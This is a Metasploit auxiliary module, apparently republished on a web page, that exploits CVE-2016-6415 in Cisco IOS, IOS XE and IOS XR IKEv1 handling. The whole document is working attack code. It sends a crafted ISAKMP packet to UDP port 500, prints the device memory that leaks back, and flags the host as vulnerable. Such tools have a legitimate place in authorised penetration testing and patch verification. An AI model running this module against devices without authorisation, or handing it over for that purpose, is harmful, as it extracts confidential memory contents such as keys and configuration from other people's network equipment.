Cisco IKE Information Disclosure

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report

def initialize(info = {})
super(update_info(info,
‘Name’ => ‘Cisco IKE Information Disclosure’,
‘Description’ => %q{
A vulnerability in Internet Key Exchange version 1 (IKEv1) packet
processing code in Cisco IOS, Cisco IOS XE, and Cisco IOS XR Software
could allow an unauthenticated, remote attacker to retrieve memory
contents, which could lead to the disclosure of confidential information.

The vulnerability is due to insufficient condition checks in the part
of the code that handles IKEv1 security negotiation requests.
An attacker could exploit this vulnerability by sending a crafted IKEv1
packet to an affected device configured to accept IKEv1 security
negotiation requests. A successful exploit could allow the attacker
to retrieve memory contents, which could lead to the disclosure of
confidential information.
},
‘Author’ => [ ‘Nixawk’ ],
‘License’ => MSF_LICENSE,
‘References’ =>
[
[ ‘CVE’, ‘2016-6415’ ],
[ ‘URL’, ‘https://github.com/adamcaudill/EquationGroupLeak/tree/master/Firewall/TOOLS/BenignCertain/benigncertain-v1110’ ],
[ ‘URL’, ‘https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160916-ikev1’ ],
[ ‘URL’, ‘https://nvd.nist.gov/vuln/detail/CVE-2016-6415’ ],
[ ‘URL’, ‘https://musalbas.com/2016/08/18/equation-group-benigncertain.html’ ]],
‘DisclosureDate’ => ‘2016-09-29’
))

register_options(
[
Opt::RPORT(500),
OptPath.new(‘PACKETFILE’,
[ true, ‘The ISAKMP packet file’, File.join(Msf::Config.data_directory, ‘exploits’, ‘cve-2016-6415’, ‘sendpacket.raw’) ])
])
end

def run_host(ip)
begin
isakmp_pkt = File.read(datastore[‘PACKETFILE’])
peer = “#{ip}:#{datastore[‘RPORT’]}”

udp_sock = Rex::Socket::Udp.create(
{
‘Context’ => { ‘Msf’ => framework, ‘MsfExploit’ => self }
}
)

add_socket(udp_sock)

udp_sock.sendto(isakmp_pkt, ip, datastore[‘RPORT’].to_i)
res = udp_sock.get(3)
return unless res && res.length > 36 # ISAKMP + 36 -> Notitication Data…

# Convert non-printable characters to periods
printable_data = res.gsub(/[^[:print:]]/, ‘.’)

# Show abbreviated data
vprint_status(“Printable info leaked:\n#{printable_data}”)

chars = res.unpack(‘C*’)
len = (chars[30].to_s(16) + chars[31].to_s(16)).hex

return if len <= 0
print_good(“#{peer} – IKE response with leak”)
report_vuln({
:host => ip,
:port => datastore[‘RPORT’],
:proto => ‘udp’,
:name => self.name,
:refs => self.references,
:info => “Vulnerable to Cisco IKE Information Disclosure”
})

# NETWORK may return the same packet data.
return if res.length < 2500
pkt_md5 = ::Rex::Text.md5(isakmp_pkt[isakmp_pkt.length-2500, isakmp_pkt.length])
res_md5 = ::Rex::Text.md5(res[res.length-2500, res.length])

print_warning(“#{peer} – IKE response is same to payload data”) if pkt_md5 == res_md5
rescue
ensure
udp_sock.close
end
end
end